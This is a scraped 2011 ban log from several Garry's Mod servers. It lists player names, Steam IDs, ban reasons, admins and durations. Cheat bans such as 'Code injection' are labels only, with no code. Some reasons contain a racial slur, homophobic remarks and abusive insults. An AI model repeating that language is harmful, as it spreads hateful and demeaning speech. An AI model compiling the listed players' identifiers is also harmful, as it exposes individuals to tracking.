Unbanned +10:32 pm 03-09-11 ole STEAM_0:1:16363586 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +7:21 pm 03-09-11 Unknown STEAM_0:0:38910108 Cheat: Isis (Console) +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:21 pm 03-09-11 Unknown STEAM_0:0:36250162 Cheat: Eradicate +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:20 pm 03-09-11 Unknown STEAM_0:1:20264839 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:19 pm 03-09-11 Unknown STEAM_0:1:17629619 Cheat: Isis (Console) +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:19 pm 03-09-11 Unknown STEAM_0:0:32752830 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +6:06 pm 03-09-11 EURO*FIGHTER STEAM_0:0:4504477 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:33 pm 03-09-11 â?£Prince_of_Orangeâ?£ STEAM_0:1:33146333 You fail, +banned for being stupid. +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:0 Unbanned +3:16 am 03-09-11 Kirvin STEAM_0:1:33803502 really now... MAD MAN +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +2:39 am 03-09-11 (N.P) Cpt Ry@n Money on fire LO STEAM_0:0:26030841 +prop destroying douche Wigbig Official Zombified World|Lvl Cap +10 +Zombified World 0:1:0 Unbanned +12:49 am 03-09-11 JonaFUN STEAM_0:0:33519044 Massive RDM Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +12:45 am 03-09-11 Cyber Cookie STEAM_0:0:20067772 RDM Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:42 am 03-09-11 .sf| White_Wolf STEAM_0:0:17875201 no racism ++[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:30 Unbanned +11:21 pm 02-09-11 Unknown STEAM_0:0:8269456 RDM +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +11:04 pm 02-09-11 ShizNak STEAM_0:0:18703773 rdming triators +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +10:22 pm 02-09-11 tesla0kiwi STEAM_0:0:29052004 prop killing Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +9:01 pm 02-09-11 That Kid With The .50 cal STEAM_0:1:31891533 prop +push Toilet paper Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +4:47 pm 02-09-11 Unknown STEAM_0:1:18230075 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +4:42 pm 02-09-11 Ð?одвÑ?з STEAM_0:0:25555695 rdming +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 +Unbanned +3:00 pm 02-09-11 DoubleRainbowMan STEAM_0:0:31381619 Prop breaking is +against the rules Norzonion Official Zombified World|Lvl Cap +10 +Zombified World 0:1:40 Unbanned +1:44 pm 02-09-11 Unknown STEAM_0:0:8591724 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +1:43 pm 02-09-11 Unknown STEAM_0:1:38418099 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:43 pm 02-09-11 Unknown STEAM_0:0:26745412 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:43 pm 02-09-11 Unknown STEAM_0:0:29255499 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:07 am 02-09-11 Nrub'yiglith STEAM_0:1:17766588 RDM, Voice changer ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:4:0 Unbanned +12:32 am 02-09-11 Kirvin STEAM_0:1:33803502 you don't make that +mistake twice come back in an hour <[FoT]> .ExEcute Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:17 am 02-09-11 Lebowski STEAM_0:0:33483157 <[FoT]> .ExEcute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:07 pm 01-09-11 Unknown STEAM_0:0:36970472 RDM, then leaves when +suspected. Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +10:44 pm 01-09-11 SirMarcAlot STEAM_0:1:13743755 too loud +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 +Unbanned +5:49 pm 01-09-11 Unknown STEAM_0:0:13528709 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +1:50 pm 01-09-11 G.B. Hindert STEAM_0:0:17086047 Planted C4 as +innocent, rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +1:12 am 01-09-11 Stickytape11 STEAM_0:1:25095964 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:21 pm 31-08-11 mdfrombelgium STEAM_0:1:39013291 Killing fellow +traitors Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:47 pm 31-08-11 »[TFD]«. SONNY STEAM_0:1:35907675 ' I love +trolling ' Wigbig Official Zombified World|Fixin Stuff Zombified +World 9:0:40 Unbanned +6:38 pm 31-08-11 ^3(^9A!MB0T^3)^5Nicky STEAM_0:0:29007231 RDM. ++[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:22 pm 31-08-11 Sam (Dood Noooooooo) STEAM_0:0:24255629 You +persisted. +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +6:10 pm 31-08-11 Camper STEAM_0:0:30697563 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +4:22 pm 31-08-11 Youre Mother STEAM_0:1:41080655 Trying to avoid +punishment +[SP]+ Gearyâ?¢ Killa's Zombie Survival Server Zombie +Survival 0:2:0 Unbanned +4:14 pm 31-08-11 Charles STEAM_0:0:29921754 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +4:13 pm 31-08-11 TyPuCT STEAM_0:1:10116560 Low karma +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +3:02 pm 31-08-11 [Nor]murloc1337(D.B.S) STEAM_0:1:38110471 RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 20:20:0 +Unbanned +2:16 pm 31-08-11 Unknown STEAM_0:0:15765533 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:34 am 31-08-11 Unknown STEAM_0:1:31854870 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:34 am 31-08-11 Unknown STEAM_0:1:22582910 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:29 am 31-08-11 Xsylus STEAM_0:0:22070819 fuckass Wigbig Official +Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +10:23 pm 30-08-11 Wigbig STEAM_0:0:16416933 stop that! MAD MANN +Official Zombified World|Fixin Stuff Zombified World 0:0:5 Unbanned +6:53 pm 30-08-11 Unknown STEAM_0:1:21117902 RDM + Leaving. Is this +Aimstrong the coh expert? ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:30 Unbanned +6:10 pm 30-08-11 Unknown STEAM_0:0:39875597 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:43 pm 30-08-11 Unknown STEAM_0:1:22689778 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +5:22 pm 30-08-11 darthman8 STEAM_0:0:40689710 rdming +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:6 +Unbanned +5:18 pm 30-08-11 [Nor]murloc1337(D.B.S) STEAM_0:1:38110471 RDMing +knob +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:1 Unbanned +4:18 pm 30-08-11 Ridlock Brimstone STEAM_0:0:29011095 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:03 pm 30-08-11 Weed | Smoke Some Weed STEAM_0:0:33482779 Troll ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +1:47 pm 30-08-11 -GoV-jacobtherosiker92 STEAM_0:1:20537143 Learn not +to be trigger happy. Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +1:23 pm 30-08-11 Adrianexi STEAM_0:1:14976708 Yes i can Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:32 pm 30-08-11 zatley STEAM_0:0:36812121 Double RDM / Cheating +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:16 am 30-08-11 Unknown STEAM_0:0:16904191 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:16 am 30-08-11 Unknown STEAM_0:0:24794531 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:15 am 30-08-11 Unknown STEAM_0:1:34494278 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:15 am 30-08-11 Unknown STEAM_0:0:42475015 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:12 am 30-08-11 The Bukkake Ninja STEAM_0:0:20687130 Alt of banned +ID STEAM_0:0:20687130 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:29 Unbanned +10:41 am 30-08-11 The Bukkake Ninja STEAM_0:0:20687130 Low karma ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +12:18 am 30-08-11 DrBrainage STEAM_0:1:24186758 Base Delete kill ++[SP]+ CCD Official Zombified World|Fixin Stuff Zombified World +3:4:0 Unbanned +10:53 pm 29-08-11 Unknown STEAM_0:1:29039616 Shock sites are only +funny when it's a prank (Console) Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 7:0:0 Unbanned +10:52 pm 29-08-11 Unknown STEAM_0:1:37883205 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +10:43 pm 29-08-11 Unknown STEAM_0:0:28964582 RDM, spamming, ran away +when admin came on server Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:12:0 Unbanned +9:13 pm 29-08-11 â?«â?­à¹?Û?â?¤Ñ?Ñ?Ê?á¹§â?­â?« STEAM_0:0:13931427 Alt +of banned ID STEAM_0:0:4649132 (Console) Killa's Zombie Survival +Server Zombie Survival Permanent Banned +1:59 pm 29-08-11 Å?ľεÏ? Ï?Ï?shðÑ? мзеÐ? STEAM_0:1:29039616 +bye MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +1:44 pm 29-08-11 +[SP]+ Velocirapt0r /v/ STEAM_0:0:19291317 time out +mate MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +1:03 pm 29-08-11 Dominique strauss kahn STEAM_0:1:14464668 RDM ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +1:02 pm 29-08-11 Miasmic_Lt STEAM_0:0:40706822 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +10:45 pm 28-08-11 Mr. Meow Meow STEAM_0:0:27928204 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:01 pm 28-08-11 Everybody at this server STEAM_0:1:22172556 Mass +RDM +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:41 pm 28-08-11 nom nom STEAM_0:0:34730342 mental retardation ++[SP]+ Fleming Fretta|Tigergruppe Kommand One In The Chamber 0:0:12 +Unbanned +8:24 pm 28-08-11 FLUFFITUDE â?¥ [Shuffling] STEAM_0:0:18387068 Alt of +banned ID STEAM_0:0:18387068 (Console) Killa's Zombie Survival +Server Zombie Survival 0:0:41 Unbanned +8:05 pm 28-08-11 FLUFFITUDE â?¥ [Shuffling] STEAM_0:0:18387068 Nice +metting you +[SP]+ CCD Killa's Zombie Survival Server Zombie +Survival 0:1:0 Unbanned +7:33 pm 28-08-11 Cpt. Cloud STEAM_0:1:33273991 killing fellow +traitor Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +6:17 pm 28-08-11 Padron Frodo STEAM_0:0:34846843 reports MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +4:28 pm 28-08-11 l.b.andreassen STEAM_0:0:20928114 Learn to play +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:20 pm 28-08-11 Jaxonsullivan STEAM_0:1:41118879 Massive RDM +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:02 pm 28-08-11 Dudeguy5133 STEAM_0:1:39480654 Shut the fuck up +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +3:34 pm 28-08-11 Slothdur [Hates Tarp's] STEAM_0:1:24200642 RDM +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:3 +Unbanned +2:55 pm 28-08-11 taistelija STEAM_0:0:1553020 ghosting Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:01 pm 28-08-11 Unknown STEAM_0:1:21846812 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:00 pm 28-08-11 Unknown STEAM_0:0:5305833 Cheat: Pees (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +1:58 pm 28-08-11 Unknown STEAM_0:0:29466967 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:58 pm 28-08-11 Unknown STEAM_0:0:20043407 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:58 pm 28-08-11 Unknown STEAM_0:1:12965434 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:57 pm 28-08-11 Unknown STEAM_0:1:8856483 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:57 pm 28-08-11 Unknown STEAM_0:1:21779583 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:57 pm 28-08-11 Unknown STEAM_0:0:32819171 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:48 am 28-08-11 georgzmail STEAM_0:0:33713374 Crowbarring Fellow +Traitors +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +12:45 am 28-08-11 rutabaga200 STEAM_0:0:40386323 RDMing...AGAIN ++[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +12:36 am 28-08-11 Unknown STEAM_0:0:26030841 base delete... MAD +MANN Official Zombified World|Fixin Stuff Zombified World 1:0:0 +Unbanned +11:32 pm 27-08-11 -=|JFH|=-knutstrand STEAM_0:0:13088601 racist MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +11:30 pm 27-08-11 Dr.INZANE {DST} =ECC= (DS) [Rct STEAM_0:1:20704407 +base deletion on attack Wigbig Official Zombified World|Fixin Stuff +Zombified World 0:1:0 Unbanned +10:52 pm 27-08-11 Nick1021 STEAM_0:1:41206752 nigger MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:12 pm 27-08-11 erikasas STEAM_0:1:32222117 RDMing +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +7:42 pm 27-08-11 Mahty STEAM_0:0:18347899 quiet +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:3 Unbanned +7:33 pm 27-08-11 »CÑ?usÆ®y Ʈħε ĽεgεηÄ? ( STEAM_0:0:35525319 +Alt of banned ID STEAM_0:0:26973706 (Console) Killa's Zombie Survival +Server Zombie Survival 1:7:13 Unbanned +5:26 pm 27-08-11 [TG] FireFruit STEAM_0:0:26973706 Ignoring an admin, +accuing me of abusing/hacking +[SP]+ Nekoace Killa's Zombie Survival +Server Zombie Survival 1:9:20 Unbanned +11:52 am 27-08-11 Unknown STEAM_0:1:17901805 RDM, Left +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:22:30 Unbanned +11:52 am 27-08-11 Unknown STEAM_0:1:8806063 Treason, RDM +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +11:43 am 27-08-11 Latexrex STEAM_0:0:16625940 Low karma +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +11:09 am 27-08-11 everybody STEAM_0:0:31392188 Low Karma +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +7:55 am 27-08-11 Xx360nOscOp3H3adSh0tCoDBlackOps STEAM_0:1:43675285 +Alt of banned ID STEAM_0:0:25900751 (Console) Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +1:50 am 27-08-11 [SM]zombieclark STEAM_0:1:39015952 begging Wigbig +Official Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +11:55 pm 26-08-11 Dr.unnamed STEAM_0:1:20943098 faction exploit +Wigbig Official Zombified World|Fixin Stuff Zombified World 7:0:0 +Unbanned +11:39 pm 26-08-11 CSSLOLXDMW2(SWE) STEAM_0:0:32253418 offensive +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:0:30 +Unbanned +11:25 pm 26-08-11 roxer STEAM_0:0:23705135 prop surfing Wigbig +Official Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +11:10 pm 26-08-11 Unknown STEAM_0:1:40790385 +http://www.stonedpotatoes.com/viewtopic.php?f=20&p=29383#p29383 MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +6:07 pm 26-08-11 _)13(_(Angel)Of(Darkness_)13(_ STEAM_0:0:17466151 +raging +[SP]+ Nekoace Killa's Zombie Survival Server Zombie +Survival 1:9:20 Unbanned +1:47 pm 26-08-11 Natsu STEAM_0:0:26748262 rdming +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +1:42 pm 26-08-11 rutabaga200 STEAM_0:0:40386323 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:54 pm 26-08-11 More dots STEAM_0:0:18270208 Ghosting +[SP]+ CCD +Fretta|Tigergruppe Kommand Suicide Barrels 2:0:0 Unbanned +11:35 am 26-08-11 Unknown STEAM_0:1:11131806 Portscanning me isnt a +good idea Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +2:12 am 26-08-11 Unknown STEAM_0:0:10427392 Massive RDM Cutie +Fretta|Tigergruppe Kommand Laser Dance 13:21:20 Unbanned +9:42 pm 25-08-11 Unknown STEAM_0:0:28825631 Immature Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 14:0:0 Unbanned +6:19 pm 25-08-11 Tambi STEAM_0:1:18820744 Joo. Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:10:0 Unbanned +6:00 pm 25-08-11 Unknown STEAM_0:0:29690396 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:00 pm 25-08-11 Unknown STEAM_0:1:25272720 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:11 am 25-08-11 Nyan Rave STEAM_0:0:23434391 unreachable base ++[SP]+ MAD MANN Official Zombified World|Fixin Stuff Zombified World +3:11:20 Unbanned +6:42 pm 24-08-11 (n00b)Evil Quaker STEAM_0:1:26824361 Teamkilling +Cutie Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +6:38 pm 24-08-11 Rufio Antonio de Pablo STEAM_0:0:26246176 Banned +aswell, Cutie Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +6:38 pm 24-08-11 Goochanator STEAM_0:1:25163186 Team kill Cutie +Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +6:36 pm 24-08-11 The Bukkake Ninja STEAM_0:0:20687130 Team killing +Cutie Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +1:03 pm 24-08-11 Szefu P*Z STEAM_0:1:29404206 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:01 pm 24-08-11 ^4HAPPEH ^5CREEPER STEAM_0:0:3082850 Banned for 2 +hours for abusive language Cutie Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:2:0 Unbanned +9:18 am 24-08-11 Unknown STEAM_0:0:19345248 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:18 am 24-08-11 Unknown STEAM_0:1:41391523 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:54 pm 23-08-11 Unknown STEAM_0:1:15132539 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +8:48 pm 23-08-11 Mr. Meow Meow STEAM_0:0:27928204 +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:49 pm 23-08-11 Bob STEAM_0:1:13743755 RDMing and changing name to +advoid ban Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +4:45 pm 23-08-11 Unknown STEAM_0:0:37936662 Cheat: Hermes +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:44 pm 23-08-11 Unknown STEAM_0:1:37173161 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:29 pm 23-08-11 The Alchemist STEAM_0:0:24636272 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +3:05 pm 23-08-11 (C.S.I) kamikazekidz [r] STEAM_0:0:19995979 Abusive +multiple times Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +12:41 am 23-08-11 [Broners] TheChocoWarrior STEAM_0:1:40941584 RDM, +spamming, lying Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +11:02 pm 22-08-11 Unknown STEAM_0:1:11268198 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:35 pm 22-08-11 X Mun STEAM_0:0:37845192 Alt of banned ID +STEAM_0:0:37845192 (Console) Fretta|Tigergruppe Kommand Zombie +Onslaught 6:7:14 Unbanned +3:28 pm 22-08-11 Unknown STEAM_0:1:21774502 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:02 am 22-08-11 Turtle Burgers STEAM_0:0:36594519 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +9:47 am 22-08-11 Unknown STEAM_0:1:33460267 Cheat: Isis (Console) +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +9:46 am 22-08-11 Unknown STEAM_0:1:15479136 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +9:46 am 22-08-11 Unknown STEAM_0:0:25900751 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +9:32 am 22-08-11 lichking STEAM_0:0:35799570 I'm very tired +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +7:10 am 22-08-11 X Mun, the Original STEAM_0:0:37845192 Wish +granted +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +11:40 pm 21-08-11 CammmY STEAM_0:1:33706917 Wigbig Official +Zombified World|Fixin Stuff Zombified World 8:4:40 Unbanned +11:39 pm 21-08-11 Devul STEAM_0:1:6796526 Wigbig Official Zombified +World|Fixin Stuff Zombified World 8:4:40 Unbanned +10:52 pm 21-08-11 Unknown STEAM_0:0:32053933 RMD and left +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +4:49 pm 21-08-11 Unknown STEAM_0:1:17254099 rdm and left +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +3:50 pm 21-08-11 marco [dk] STEAM_0:1:34825707 edm +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:16 am 21-08-11 kenshin STEAM_0:1:21480249 nice RDM +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 69:10:40 +Unbanned +2:42 am 21-08-11 AJ Saint STEAM_0:1:33884824 No, YOU HOMO! +Fellknite Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:40 am 21-08-11 /FL-G\ Anthr4X (Swe) STEAM_0:1:33687954 Told you, +you little gook fuck Fellknite Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +2:34 am 21-08-11 al_chelmodeev STEAM_0:1:16804959 Stop being a twat +or I will fuck your shit Fellknite Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:0:0 Unbanned +12:04 am 21-08-11 Ã?DawnfanÃ?â?¢ STEAM_0:0:24885071 cade breaking +Wigbig Killa's Zombie Survival Server Zombie Survival 0:1:0 Unbanned +10:41 pm 20-08-11 Kaspero STEAM_0:0:16146660 Multiple rdm, micspam, +retarded Voted Mags a cunt Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 5:0:0 Unbanned +7:47 pm 20-08-11 Unknown STEAM_0:0:36909306 Prop pushing and faction +exploiting +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 6:22:40 Unbanned +4:04 pm 20-08-11 XD STEAM_0:0:19255097 RDM +[SP]+ Suicidal Robot +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:57 pm 20-08-11 дÑ?Ñ?Ñ?омÑ? | ".:;:." STEAM_0:0:19012795 RDM ++[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:4:0 Unbanned +2:03 pm 20-08-11 [30$$]TylerTheBoss STEAM_0:0:42998358 Rasons +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +11:12 am 20-08-11 Unknown STEAM_0:0:19051000 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:42 am 20-08-11 Unknown STEAM_0:0:23403890 Cheat: Mydik +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:20 pm 19-08-11 Infinity STEAM_0:1:40406990 base out of range +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:1:0 +Unbanned +5:30 pm 19-08-11 al_chelmodeev STEAM_0:1:16804959 Second Prop Kill ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:50 Unbanned +5:21 pm 19-08-11 Unknown STEAM_0:1:22892056 Banned (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +1:29 pm 19-08-11 BreadCrab STEAM_0:1:35634360 Take a break you whiny +little bitch +[SP]+ Gigaknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:24 pm 19-08-11 ^8Killerfruit STEAM_0:1:13797102 You are a massive +cock +[SP]+ Gigaknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +10:48 am 19-08-11 Unknown STEAM_0:1:35849114 Cheat: Eradicate +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:47 am 19-08-11 Unknown STEAM_0:1:39945838 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:39 am 19-08-11 EXTREME RICE! 